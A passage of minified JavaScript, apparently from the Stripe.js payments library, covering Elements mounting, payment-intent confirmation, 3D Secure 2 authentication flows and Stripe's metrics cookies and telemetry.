e=this;this._frame._on("redirectfocus",function(t){var n=t.focusDirection,r=Cn(e._component,n);r&&r.focus()}),this._frame._on("focus",function(){e._focused=!0,e._updateClasses()}),this._frame._on("blur",function(){e._focused=!1,e._updateClasses(),e._lastSubmittedAt&&"paymentRequestButton"===e._componentName&&(e._controller.report("payment_request_button.sheet_visible",{latency:new Date-e._lastSubmittedAt}),e._lastSubmittedAt=null)}),this._frame._on("submit",function(){if("paymentRequestButton"===e._componentName){e._lastSubmittedAt=new Date;var t=!1,n=!1;e._emitEvent("click",{preventDefault:function(){e._controller.report("payment_request_button.default_prevented"),t&&e._controller.warn("event.preventDefault() was called after the payment sheet was shown. Make sure to call it synchronously when handling the `click` event."),n=!0}}),!n&&e._paymentRequest&&(e._paymentRequest._elementShow(),t=!0)}else e._emitEvent("submit"),e._formSubmit()}),["ready","focus","blur","escape"].forEach(function(t){e._frame._on(t,function(){e._emitEvent(t)})}),this._frame._on("change",function(t){var n={};["error","value","empty","complete"].concat(Z(wr[e._componentName]||[])).forEach(function(e){return n[e]=t[e]}),e._emitEvent("change",n),e._empty=n.empty,e._invalid=!!n.error,e._complete=n.complete,e._updateClasses()}),this._frame._on("__privateIntegrationError",function(t){var n=t.message;e._emitEvent("__privateIntegrationError",{message:n})}),this._frame._on("dimensions",function(t){if(e._parent){var n=Di(e._parent,null);if(n){var r=parseFloat(n.getPropertyValue("height")),o=t.height;if("border-box"===n.getPropertyValue("box-sizing")){var i=parseFloat(n.getPropertyValue("padding-top")),a=parseFloat(n.getPropertyValue("padding-bottom"));r=r-parseFloat(n.getPropertyValue("border-top"))-parseFloat(n.getPropertyValue("border-bottom"))-i-a}0!==r&&zi(r)<zi(o)&&e._controller.report("wrapper_height_mismatch",{height:o,outer_height:r});var s=e._component.getBoundingClientRect().height;0!==s&&0!==o&&zi(s)!==zi(o)&&(e._frame.updateStyle({height:o+"px"}),e._controller.report("iframe_height_update",{height:o,calculated_height:s}))}}}),this._frame._on("autofill",function(){if(e._parent){var t=e._parent.style.backgroundColor,n="#faffbd"===t||"rgb(250, 255, 189)"===t;e._lastBackgroundColor=n?e._lastBackgroundColor:t,e._parent.style.backgroundColor="#faffbd",e._autofilled=!0,e._updateClasses()}}),this._frame._on("autofill-cleared",function(){e._autofilled=!1,e._parent&&(e._parent.style.backgroundColor=e._lastBackgroundColor),e._updateClasses()})}},{key:"_handleOutsideClick",value:function(){this._secondaryFrame&&this._secondaryFrame.send({action:"stripe-outside-click",payload:{}})}},{key:"_createSecondFrame",value:function(e,t,n){var r=this._controller.createSecondaryElementFrame(e,xi({},n,{componentName:t}));return r&&r.on&&r.on("height-change",function(e){r.updateStyle({height:e.height+"px"})}),r}},{key:"_createComponent",value:function(e,t){this._createElement(e,t),this._setupEvents(),this._updateFrameHeight(e,!0)}},{key:"_updateFrameHeight",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if("paymentRequestButton"===this._componentName){var n=e.style&&e.style.paymentRequestButton||{},r=n.height,o="string"==typeof r?r:void 0;(t||o)&&(this._frame.updateStyle({height:o||this._lastHeight||"40px"}),this._lastHeight=o||this._lastHeight)}else{var i=e.style&&e.style.base||{},a=i.lineHeight,s=i.fontSize,c=i.padding,u="string"!=typeof a||isNaN(parseFloat(a))?void 0:a,l="string"==typeof s?s:void 0,p="string"==typeof c?c:void 0;if(l&&!Yi(l)&&this._controller.warn("The fontSize style you specified ("+l+") is not in px. We do not recommend using relative css units, as they will be calculated relative to our iframe's styles rather than your site's."),t||u||l){var d=-1===xt.indexOf(this._componentName)?void 0:p||this._lastPadding,f=Li(u||this._lastHeight,l||this._lastFontSize,d);this._frame.updateStyle({height:f}),this._lastFontSize=l||this._lastFontSize,this._lastHeight=u||this._lastHeight,this._lastPadding=d}}}},{key:"_createElement",value:function(e,t){var n=this,r=(e.classes,e.controller,e.paymentRequest,Q(e,["classes","controller","paymentRequest"])),o=document.createElement("div");o.className="__PrivateStripeElement";var i=document.createElement("input");i.className="__PrivateStripeElement-input",i.setAttribute("aria-hidden","true"),i.setAttribute("aria-label"," "),i.setAttribute("autocomplete","false"),i.maxLength=1,i.disabled=!0,$t(o,Ui),$t(i,Hi);var a=Di(document.body),s=!!a&&"rtl"===a.getPropertyValue("direction"),c=yr[t],u=xi({},r,{rtl:s}),l=this._controller.createElementFrame(c,u);if(l._on("load",function(){i.disabled=!1}),i.addEventListener("focus",function(){l.focus()}),l.appendTo(o),Er[t]){var p=Er[t].secondary;this._secondaryFrame=this._createSecondFrame(c,p,xi({},u,{primaryElementType:t})),this._secondaryFrame.appendTo(o),window.addEventListener("click",function(){return n._handleOutsideClick()})}if(o.appendChild(i),ur){var d=document.createElement("input");d.className="__PrivateStripeElement-safariInput",d.setAttribute("aria-hidden","true"),d.setAttribute("tabindex","-1"),d.setAttribute("autocomplete","false"),d.maxLength=1,d.disabled=!0,$t(d,Hi),o.appendChild(d)}this._component=o,this._frame=l,this._fakeInput=i}}]),t}(un),Gi=function(){var e=this;this._paymentRequest=null,this.mount=rn(function(t){e._checkDestroyed();var n=void 0;if(!t)throw new ke("Missing argument. Make sure to call mount() with a valid DOM element or selector.");if("string"==typeof t){var r=document.querySelectorAll(t);if(r.length>1&&e._controller.warn("The selector you specified ("+t+") applies to "+r.length+" DOM elements that are currently on the page.\nThe Stripe Element will be mounted to the first one."),!r.length)throw new ke("The selector you specified ("+t+") applies to no DOM elements that are currently on the page.\nMake sure the element exists on the page before calling mount().");n=r[0]}else{if(!t.appendChild)throw new ke("Invalid DOM element. Make sure to call mount() with a valid DOM element or selector.");n=t}if("INPUT"===n.nodeName)throw new ke("Stripe Elements must be mounted in a DOM element that\ncan contain child nodes. `input` elements are not permitted to have child\nnodes. Try using a `div` element instead.");if(n.children.length&&e._controller.warn("This Element will be mounted to a DOM element that contains child nodes."),e._paymentRequest){if(!e._paymentRequest._canMakePaymentResolved)throw new ke("For the paymentRequestButton Element, you must first check availability using paymentRequest.canMakePayment() before mounting the Element.");if(!e._paymentRequest._activeBackingLibraryName)throw new ke("The paymentRequestButton Element is not available in the current environment.");e._mountToParent(n)}else e._mountToParent(n)}),this.update=rn(function(t){e._checkDestroyed();var n=yt(Ci,t||{},"element.update()"),r=n.value;if(n.warnings.forEach(function(t){return e._controller.warn(t)}),r){var o=r.classes,i=Q(r,["classes"]);e._changeClasses(o||{}),e._updateFrameHeight(r),Object.keys(i).length&&(e._frame.update(i),e._secondaryFrame&&e._secondaryFrame.update(i))}return e}),this.focus=rn(function(t){return e._checkDestroyed(),t&&t.preventDefault(),document.activeElement&&document.activeElement.blur&&document.activeElement.blur(),e._fakeInput.focus(),e}),this.blur=rn(function(){return e._checkDestroyed(),e._frame.blur(),e._fakeInput.blur(),e}),this.clear=rn(function(){return e._checkDestroyed(),e._frame.clear(),e}),this.unmount=rn(function(){e._checkDestroyed();var t=e._component.parentElement,n=e._label;return t&&(t.removeChild(e._component),t.removeEventListener("click",e.focus),e._removeClasses()),e._parent=null,n&&(n.removeEventListener("click",e.focus),e._label=null),e._secondaryFrame&&(e._secondaryFrame.unmount(),window.removeEventListener("click",e._handleOutsideClick)),e._fakeInput.disabled=!0,e._frame.unmount(),e}),this.destroy=rn(function(){return e._checkDestroyed(),e.unmount(),e._destroyed=!0,e._emitEvent("destroy"),e}),this._formSubmit=function(){for(var t=e._component.parentElement;t&&"FORM"!==t.nodeName;)t=t.parentElement;if(t){var n=document.createEvent("Event");n.initEvent("submit",!0,!0),t.dispatchEvent(n)}}},Ki=Wi,Vi=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},$i={locale:Ke(tt),fonts:Ke(lt(ut)),betas:Ke(lt(Ze.apply(void 0,re(Mr))))},Ji=_t($i),Qi=function e(t,n){var r=this;ne(this,e),Zi.call(this);var o=yt(Ji,n||{},"elements()"),i=o.value;o.warnings.forEach(function(e){return t.warn(e)}),Rr(t.warn),t.report("elements",{options:n}),this._elements=[],this._id=Bt("elements"),this._controller=t;var a=i.locale,s=i.fonts||[];this._controller.action.fetchLocale({locale:a||"auto"}),this._betas=i.betas||[];var c=s.filter(function(e){return!e.cssSrc||"string"!=typeof e.cssSrc}).map(function(e){return Vi({},e,{__resolveFontRelativeTo:window.location.href})}),u=s.map(function(e){return e.cssSrc}).reduce(function(e,t){return"string"==typeof t?[].concat(re(e),[t]):e},[]).map(function(e){return bt(e)?e:Et(window.location.href,e)});return this._pendingFonts=u.length,this._commonOptions=Vi({},i,{fonts:c}),u.forEach(function(e){if("string"==typeof e){var t=Date.now();Jr(e).then(function(n){r._controller.report("font.loaded",{load_time:Date.now()-t,font_count:n.length,css_src:e});var o=n.map(function(t){return Vi({},t,{__resolveFontRelativeTo:e})});r._controller.action.updateCSSFonts({fonts:o,groupId:r._id}),r._commonOptions=Vi({},r._commonOptions,{fonts:[].concat(re(r._commonOptions.fonts?r._commonOptions.fonts:[]),re(o))})}).catch(function(n){r._controller.report("error.font.not_loaded",{load_time:Date.now()-t,message:n&&n.message&&n.message,css_src:e}),r._controller.warn("Failed to load CSS file at "+e+".")})}}),this},Zi=function(){var e=this;this.create=on(function(t,n){ji(t,e._elements,e._betas);var r=yt(Ci,n||{},"create()"),o=r.value;r.warnings.forEach(function(t){return e._controller.warn(t)});var i=Vi({},o,e._commonOptions,{componentName:t,groupId:e._id}),a=(ar||sr)&&Yt(i).length>2e3,s=!!e._pendingFonts||a,c=new Ki(Vi({},i,{fonts:a?null:e._commonOptions.fonts,controller:e._controller,wait:s}));return e._elements=[].concat(re(e._elements),[t]),c._on("destroy",function(){e._elements=e._elements.filter(function(e){return e!==t})}),a&&c._frame.send({action:"stripe-user-update",payload:{fonts:e._commonOptions.fonts}}),c})},Xi=Qi,ea=function(e,t,n,r,o,i){return new Ai({controller:e,authentication:t,mids:n,rawOptions:r,betas:o,queryStrategyOverride:i})},ta=ea,na="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},ra=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},oa=function(e,t){switch(e.type){case"object":return{paymentIntent:e.object};case"error":return{error:ra({},t?{payment_intent:t}:{},e.error)};default:return Se(e)}},ia=function(e){var t=e.trim().match(/^([a-z]+_[^_]+)_secret_[^-]+$/);return t?{id:t[1],clientSecret:t[0]}:null},aa=function(e){return{id:e.id,clientSecret:e.client_secret}},sa=function(e,t){if("string"!=typeof e)return Ge("a client_secret string",e,t);var n=ia(e);return null===n?Ge("a client secret of the form ${id}_secret_${secret}",e,t):ze(n,[])},ca=function(e,t){if(null==e)return ze(null);var n=e.type,r=ie(e,["type"]),o=ra({},t,{path:[].concat(oe(t.path),["type"])}),i=nt(tt,function(){return null})(n,o);return"error"===i.type?i:ze({type:i.value,data:r})},ua=function(e){return"requires_source_action"===e||"requires_action"===e},la=function(e){return"requires_source_action"===e.status||"requires_action"===e.status?e.next_action:null},pa=function(e,t){if(null===e)return We("object","null",t);if("object"!==(void 0===e?"undefined":na(e)))return We("object",void 0===e?"undefined":na(e),t);var n=e.client_secret,r=e.status,o=e.next_action,i=ra({},t,{path:[].concat(oe(t.path),["client_secret"])}),a=sa(n,i);if("error"===a.type)return a;if("string"!=typeof r){var s=ra({},t,{path:[].concat(oe(t.path),["status"])});return We("string",void 0===r?"undefined":na(r),s)}if(("requires_source_action"===r||"requires_action"===r)&&"object"!==(void 0===o?"undefined":na(o))){var c=ra({},t,{path:[].concat(oe(t.path),["next_action"])});return We("object",void 0===o?"undefined":na(o),c)}if("payment_intent"===e.object){return ze(e,[])}return ze(e,[])},da=function(e){return function(t,n){if("object"===(void 0===t?"undefined":na(t))&&null!==t){var r=t.source,o=t.source_data,i=t.payment_method,a=t.payment_method_data,s=ie(t,["source","source_data","payment_method","payment_method_data"]);if(null!=r&&"string"!=typeof r){var c=ra({},n,{path:[].concat(oe(n.path),["source"])});return We("string",void 0===r?"undefined":na(r),c)}if(null!=i&&"string"!=typeof i){var u=ra({},n,{path:[].concat(oe(n.path),["payment_method"])});return We("string",void 0===i?"undefined":na(i),u)}if(null!=o&&"object"!==(void 0===o?"undefined":na(o))){var l=ra({},n,{path:[].concat(oe(n.path),["source_data"])});return We("object",void 0===o?"undefined":na(o),l)}if(null!=a&&"object"!==(void 0===a?"undefined":na(a))){var p=ra({},n,{path:[].concat(oe(n.path),["payment_method_data"])});return We("object",void 0===a?"undefined":na(a),p)}var d=ra({},n,{path:[].concat(oe(n.path),["source_data"])}),f=ca(o,d);if("error"===f.type)return f;var h=f.value,_=ra({},n,{path:[].concat(oe(n.path),["payment_method_data"])}),m=ca(a,_);if("error"===m.type)return m;var y=m.value;return ze({sourceData:h,source:null==r?null:r,paymentMethodData:y,paymentMethod:null==i?null:i,otherParams:ra({},e,s)})}return null===t?We("object","null",n):We("object",void 0===t?"undefined":na(t),n)}},fa=function(e){return function(t,n){if(void 0===t)return ze({sourceData:null,paymentMethodData:null,source:null,paymentMethod:null,otherParams:{}});if("object"!==(void 0===t?"undefined":na(t)))return We("object",void 0===t?"undefined":na(t),n);if(null===t)return We("object","null",n);if(e){if(!t.payment_intent)return ze({sourceData:null,paymentMethodData:null,source:null,paymentMethod:null,otherParams:t});var r=t.payment_intent,o=ie(t,["payment_intent"]),i=ra({},n,{path:[].concat(oe(n.path),["payment_intent"])});return da(o)(r,i)}return t.payment_intent?Ye(new ke("The payment_intent parameter has been removed. To fix, move everything nested under the payment_intent parameter to the top-level object.")):da({})(t,n)}},ha={au_becs_debit:"au_becs_debit",card:"card",ideal:"ideal",sepa_debit:"sepa_debit",three_d_secure:"three_d_secure"},_a=(we={},ae(we,It.card,ha.card),ae(we,It.cardNumber,ha.card),ae(we,It.cardExpiry,ha.card),ae(we,It.cardCvc,ha.card),ae(we,It.postalCode,ha.card),ae(we,It.iban,ha.sepa_debit),ae(we,It.idealBank,ha.ideal),we),ma=function(e){return-1===Nt.indexOf(e)},ya=function(e,t){return null!=t?t:ma(e)?null:_a[e]||null},va=function(e){var t=e.name,n=e.value,r=e.expiresIn,o=e.path,i=e.domain,a=new Date,s=r||31536e6;a.setTime(a.getTime()+s);var c=o||"/",u=(n||"").replace(/[^!#-+\--:<-[\]-~]/g,encodeURIComponent),l=encodeURIComponent(t)+"="+u+";expires="+a.toGMTString()+";path="+c;i&&(l+=";domain="+i),document.cookie=l},ba=function(e){var t=Ie(document.cookie.split("; "),function(t){var n=t.indexOf("=");return decodeURIComponent(t.substr(0,n))===e});if(t){var n=t.indexOf("=");return decodeURIComponent(t.substr(n+1))}return null},ga=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),wa="__privateStripeMetricsController",Ea={MERCHANT:"merchant",SESSION:"session"},ka=function(){function e(){var t=this,n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if(se(this,e),n.checkoutIds){var r=n.checkoutIds,o=r.muid,i=r.sid;this._muid=o,this._sid=i,this._doNotPersist=!0}else this._muid=this._getID(Ea.MERCHANT),this._sid=this._getID(Ea.SESSION),this._doNotPersist=!1;this._id=Bt(wa),this._controllerFrame=new wn(St.METRICS_CONTROLLER,this._id,{autoload:!0,queryString:this._buildFrameQueryString()}),this._guidPromise=new Te(function(e){t._establishMessageChannel(e)}),this._startIntervalCheck(),setTimeout(this._testLatency.bind(this),2e3+500*Math.random())}return ga(e,[{key:"ids",value:function(){return{guid:this._guid||"NA",muid:this._muid||"NA",sid:this._sid||"NA"}}},{key:"idsPromise",value:function(){var e=this;return this._guidPromise.then(function(){return e.ids()})}},{key:"_establishMessageChannel",value:function(e){var t=this;window.addEventListener("message",function(n){var r=n.data;if("string"==typeof r)try{var o=JSON.parse(r),i=o.originatingScript,a=o.payload;"m"===i&&(t._guid=a,e(a))}catch(e){}})}},{key:"_startIntervalCheck",value:function(){var e=this,t=window.location.href;setInterval(function(){var n=window.location.href;n!==t&&(e.send({action:"ping",payload:{sid:e._getID(Ea.SESSION),muid:e._getID(Ea.MERCHANT),title:document.title,referrer:document.referrer,url:document.location.href}}),t=n)},5e3)}},{key:"report",value:function(e,t){try{this.send({action:"track",payload:{sid:this._getID(Ea.SESSION),muid:this._getID(Ea.MERCHANT),url:document.location.href,source:e,data:t}})}catch(e){}}},{key:"send",value:function(e){var t=At(St.METRICS_CONTROLLER);$n(t)&&this._controllerFrame.send(e)}},{key:"_testLatency",value:function(){var e=this,t=[],n=new Date,r=function r(){try{var o=new Date;t.push(o-n),t.length>=10&&(e.report("mouse-timings-10",t),document.removeEventListener("mousemove",r)),n=o}catch(e){}};document.addEventListener("mousemove",r)}},{key:"_extractMetaReferrerPolicy",value:function(){var e=document.querySelector("meta[name=referrer]");return null!=e&&e instanceof HTMLMetaElement?e.content.toLowerCase():null}},{key:"_extractUrl",value:function(e){var t=document.location.href;switch(e){case"origin":case"strict-origin":case"origin-when-cross-origin":case"strict-origin-when-cross-origin":return document.location.origin;case"unsafe-url":return t.split("#")[0];default:return t}}},{key:"_buildFrameQueryString",value:function(){var e=this._extractMetaReferrerPolicy(),t=this._extractUrl(e),n={url:t,title:document.title,referrer:document.referrer,muid:this._muid,sid:this._sid,preview:Jn(t)};return null!=e&&(n.metaReferrerPolicy=e),Object.keys(n).map(function(e){return null!=n[e]?e+"="+encodeURIComponent(n[e].toString()):null}).join("&")}},{key:"_getID",value:function(e){switch(e){case Ea.MERCHANT:if(this._doNotPersist)return this._muid;try{var t=ba("__stripe_mid")||Ut();return va({name:"__stripe_mid",value:t,domain:"."+document.location.hostname}),t}catch(e){return"NA"}case Ea.SESSION:if(this._doNotPersist)return this._sid;try{var n=ba("__stripe_sid")||Ut();return va({name:"__stripe_sid",value:n,domain:"."+document.location.hostname,expiresIn:18e5}),n}catch(e){return"NA"}default:throw new Error("Invalid ID type specified: "+e)}}}]),e}(),Sa=ka,Oa={_frame:_t({id:tt}),_componentName:tt},Pa=_t(Oa),Aa=function(e){var t=mt(Pa,e,"");return"error"===t.type?null:t.value},Ta=function(e,t,n,r){if(null===e){if(null===t){throw new ke(n+": you must additionally specify the type of payment method to create within "+(r?"source_data":"payment_method_data")+".")}return t}if(null===t)return e;if(t!==e)throw new ke(n+": you specified `type: "+t+"`, but "+n+" will create a "+e+" payment method.");return e},Ia=function(e,t,n,r,o,i){var a=mt(Pa,o,r);if("error"===a.type)return null;var s=a.value,c=yt(fa(t),i,r),u=c.value,l=u.sourceData,p=u.source,d=u.paymentMethodData,f=u.paymentMethod,h=u.otherParams;if(!e&&l)throw new ke(r+": Expected payment_method_data, not source_data.");if(null!=p)throw new ke("When calling "+r+" on an Element, you can't pass in a pre-existing source ID, as a source will be created using the Element.");if(null!=f)throw new ke("When calling "+r+" on an Element, you can't pass in a pre-existing PaymentMethod ID, as a PaymentMethod will be created using the Element.");var _=s._componentName,m=s._frame.id,y=l||d||{type:null,data:{}},v=y.type,b=y.data,g=ya(_,v),w=e&&!d;return{confirmMode:{tag:"element",elementName:_,shouldCreateSource:w,frameId:m,type:Ta(n,g,r,w),data:b},otherParams:h}},Ca=function(e,t,n,r,o,i){var a=yt(fa(t),o,r),s=a.value,c=s.sourceData,u=s.source,l=s.paymentMethodData,p=s.paymentMethod,d=s.otherParams;if(!e&&c)throw new ke(r+": Expected payment_method, source, or payment_method_data, not source_data.");if(null!==u&&null!==c)throw new ke(r+": Expected either source or source_data, but not both.");if(null!==p&&null!==l)throw new ke(r+": Expected either payment_method or payment_method_data, but not both.");if(null!==p&&null!==u)throw new ke(r+": Expected either payment_method or source, but not both.");if(c||l){var f=c||l||{},h=f.type,_=f.data,m=e&&!l;return{confirmMode:{tag:"data",shouldCreateSource:m,type:Ta(n,h,r,m),data:_},otherParams:d}}return null!==u?{confirmMode:{tag:"source",source:u},otherParams:d}:null!==p?{confirmMode:{tag:"paymentMethod",paymentMethod:p},otherParams:d}:{confirmMode:{tag:"none"},otherParams:d}},ja=function(e,t,n,r){return function(o,i){var a=Ia(e,t,n,r,o,i);if(a)return a;var s=Ca(e,t,n,r,o);if(s)return s;throw new ke("Expected: stripe."+r+"(intentSecret, element[, data]) or stripe."+r+"(intentSecret[, data]). Please see the docs for more usage examples https://stripe.com/docs/payments/dynamic-authentication")}},Ra=function(e,t){var n={skipFingerprint:!1,sandboxFingerprintFrame:!1,sandboxChallengeFrame:!1};return-1!==e.indexOf("Y")&&(t.report("3ds2.optimization.Y"),n.skipFingerprint=!0),-1!==e.indexOf("k")&&(t.report("3ds2.optimization.k"),n.sandboxFingerprintFrame=!0),-1!==e.indexOf("5")&&(t.report("3ds2.optimization.5"),n.sandboxChallengeFrame=!0),n},Na=function(e){return{american_express:"amex",visa:"visa",mastercard:"mastercard",discover:"discover"}[e]||"unknown"},Ma=function(e,t,n){if(!e)return null;if("use_stripe_sdk"===e.type){var r=e.use_stripe_sdk;switch(r.type){case"cardinal_3ds2_fingerprint":return{type:"cardinal-sdk-fingerprint",bin:r.stripe_js.bin,jwt:r.stripe_js.jwt,env:r.stripe_js.env};case"stripe_3ds2_fingerprint":return{type:"3ds2-fingerprint",threeDS2Source:r.three_d_secure_2_source,cardBrand:Na(r.directory_server_name),transactionId:r.server_transaction_id,optimizations:Ra(r.three_ds_optimizations,n),methodUrl:r.three_ds_method_url};case"stripe_3ds2_challenge":return{type:"3ds2-challenge",threeDS2Source:r.stripe_js.three_d_secure_2_source,cardBrand:Na(r.stripe_js.directory_server_name),transactionId:r.stripe_js.server_transaction_id,optimizations:Ra(r.stripe_js.three_ds_optimizations,n),acsTransactionId:r.stripe_js.acs_transaction_id,acsUrl:r.stripe_js.acs_url};case"three_d_secure_redirect":return{type:"3ds1-modal",url:r.stripe_js}}}if("redirect_to_url"===e.type){var o=e.redirect_to_url.url;switch(t){case ha.ideal:return{type:"ideal-redirect",redirectUrl:o}}}if("authorize_with_url"===e.type){var i=e.authorize_with_url.url;switch(t){case ha.card:return{type:"3ds1-modal",url:i};case ha.ideal:return{type:"ideal-redirect",redirectUrl:i}}}return null},La=function(e){switch(e.type){case"error":return{error:e.error};case"object":switch(e.object.object){case"payment_intent":return{paymentIntent:e.object};case"setup_intent":return{setupIntent:e.object};default:return Se(e.object)}default:return Se(e)}},qa=function(e,t,n,r){return t===jt.PAYMENT_INTENT?n.action.retrievePaymentIntent({hosted:!1,intentSecret:e,locale:r,asErrorIfNotSucceeded:!0}).then(La):n.action.retrieveSetupIntent({hosted:!1,intentSecret:e,locale:r,asErrorIfNotSucceeded:!0}).then(La)},Da=function(){function e(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,s=e[Symbol.iterator]();!(r=(a=s.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{!r&&s.return&&s.return()}finally{if(o)throw i}}return n}return function(t,n){if(Array.isArray(t))return t;if(Symbol.iterator in Object(t))return e(t,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),xa=function(e,t,n){return e.createLightboxFrame(St.AUTHORIZE_WITH_URL,{url:t,locale:n})},Fa=function(e,t,n,r,o){var i=jr(),a=Date.now(),s=xa(r,e,o);return s.show(),r.report("authorize_with_url.loading",{viewport:i}),s._on("load",function(){r.report("authorize_with_url.loaded",{loadDuration:Date.now()-a}),s.fadeInBackdrop()}),new Te(function(e,i){s._once("authorize_with_url_done",function(i){r.report("authorize_with_url.done",{shownDuration:Date.now()-a,success:!("error"in i)}),"result"===i.type?s.destroy().then(function(){return e(i.result)}):Te.all([qa(t,n,r,o),s.destroy()]).then(function(t){var n=Da(t,1),r=n[0];return e(r)})})})},Ba=function(){function e(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,s=e[Symbol.iterator]();!(r=(a=s.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{!r&&s.return&&s.return()}finally{if(o)throw i}}return n}return function(t,n){if(Array.isArray(t))return t;if(Symbol.iterator in Object(t))return e(t,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),Ua=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Ha=function(e){return new Te(function(t){e._on("load",function(){return t(e)})})},za=function(e,t,n){var r=e.createHiddenFrame(St.STRIPE_3DS2_FINGERPRINT,{intentId:t,hosted:n});e.report("3ds2.fingerprint_frame.loading",{hosted:n,intentId:t});var o=Ha(r);return o.then(function(){e.report("3ds2.fingerprint_frame.loaded",{hosted:n,intentId:t})}),o},Ya=function(e,t,n,r){var o=t.createLightboxFrame(St.STRIPE_3DS2_CHALLENGE,{intentId:e,hosted:r});t.report("3ds2.challenge_frame.loading",{intentId:e,hosted:r}),o._on("challenge_complete",function(){o.fadeOutBackdrop()});var i=Ha(o);return i.then(function(){return t.report("3ds2.challenge_frame.loaded",{intentId:e,hosted:r})}),r&&(o.show(),o.action.show3DS2Spinner({cardBrand:n})),i},Wa=function(e,t,n,r){return t.optimizations.skipFingerprint?Te.resolve({fingerprintAttempted:!1,fingerprintData:null}):""===t.methodUrl?(n.report("3ds2.fingerprint.no_method_url",{hosted:r,intentId:e.id}),Te.resolve({fingerprintAttempted:!1,fingerprintData:null})):za(n,e.id,r).then(function(e){return e.action.perform3DS2Fingerprint({transactionId:t.transactionId,methodUrl:t.methodUrl,shouldSandbox:t.optimizations.sandboxFingerprintFrame}).then(function(t){return e.destroy(),t})})},Ga=function(e,t,n,r,o,i){var a=Date.now(),s=Ya(e.id,r,n.cardBrand,i),c=function(e){return s.then(function(t){i||(t.show(),t.fadeInBackdrop());var n=(e.type,e.optimizations),r=ce(e,["type","optimizations"]);return t.action.perform3DS2Challenge(Ua({},r,{shouldSandbox:n.sandboxChallengeFrame}))})},u=function(t){return r.report("3ds2.authenticate",{hosted:i,intentId:e.id}),r.action.authenticate3DS2({threeDS2Source:n.threeDS2Source,fingerprintResult:t}).then(function(t){return"error"===t.type?r.report("3ds2.authenticate.error",{error:t.error,hosted:i,intentId:e.id}):r.report("3ds2.authenticate.success",{hosted:i,intentId:e.id}),t})},l=function(){return Te.all([qa(e,t,r,o),s.then(function(e){return e.destroy()})]).then(function(t){var n=Ba(t,1),o=n[0];return r.report("3ds2.done",Ua({intentId:e.id,hosted:i,totalDuration:Date.now()-a},o.error?{error:o.error,success:!1}:{success:!0})),o})};switch(n.type){case"3ds2-challenge":return c(n).then(l);case"3ds2-fingerprint":return Wa(e,n,r,i).then(u).then(function(t){if("error"===t.type)return l();var o=t.object.ares;return"C"!==o.transStatus?(r.report("3ds2.frictionless",{hosted:i,intentId:e.id}),l()):c({type:"3ds2-challenge",threeDS2Source:n.threeDS2Source,cardBrand:n.cardBrand,transactionId:n.transactionId,acsUrl:o.acsURL,acsTransactionId:o.acsTransID,optimizations:n.optimizations}).then(l)});default:return Se(n)}},Ka=function(e){return new Te(function(t,n){var r=setTimeout(function(){t({type:"error",error:{code:"redirect_error",message:"Failed to redirect to "+e},locale:"en"})},3e3);window.addEventListener("pagehide",function(){clearTimeout(r)}),window.top.location.href=e})},Va=function(e,t,n){e.report("redirect_error",{initiator:t,error:n.error})},$a=function(e,t,n){return Ka(t).then(function(t){return Va(n,"ideal redirect",t),oa(t,e)})},Ja=function(e,t,n){return e.createLightboxFrame(St.CARDINAL_3DS2,{intentSecret:t,locale:n})},Qa=function(e,t,n,r){var o=Date.now(),i=Ja(n,e,r);return i.show(),n.report("cardinal_3ds2.frame.loading"),new Te(function(e){i._on("load",function(){n.report("cardinal_3ds2.frame.loaded",{loadDuration:Date.now()-o}),i.fadeInBackdrop(),i.action.performCardinal3DS2(t).then(function(t){n.report("cardinal_3ds2.done",{totalDuration:Date.now()-o,success:!("error"in t)}),i.destroy().then(function(){return e(t)})})})})},Za="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},Xa=function(e){if(!e||"object"!==(void 0===e?"undefined":Za(e)))return null;var t=e.type,n=ue(e,["type"]);return{type:"string"==typeof t?t:null,data:n}},es=function(e){switch(e.type){case"object":return{source:e.object};case"error":return{error:e.error};default:return Se(e)}},ts={source:_t({id:Je("src_"),client_secret:Je("src_client_secret_")})},ns=_t(ts),rs=function(e){switch(e.type){case"object":return{paymentMethod:e.object};case"error":return{error:e.error};default:return Se(e)}},os=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},is="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},as=function(e){switch(e.type){case"error":var t=e.error;if("payment_intent_unexpected_state"===t.code&&"object"===is(t.payment_intent)&&null!=t.payment_intent&&"string"==typeof t.payment_intent.status&&ua(t.payment_intent.status)){var n=t.payment_intent;return{type:"object",locale:e.locale,object:n}}return e;case"object":return e;default:return Se(e)}},ss=function(e,t,n,r,o){var i=Ma(la(t),n,e),a=aa(t);if(!i)return Te.resolve({paymentIntent:t});switch(i.type){case"3ds1-modal":return 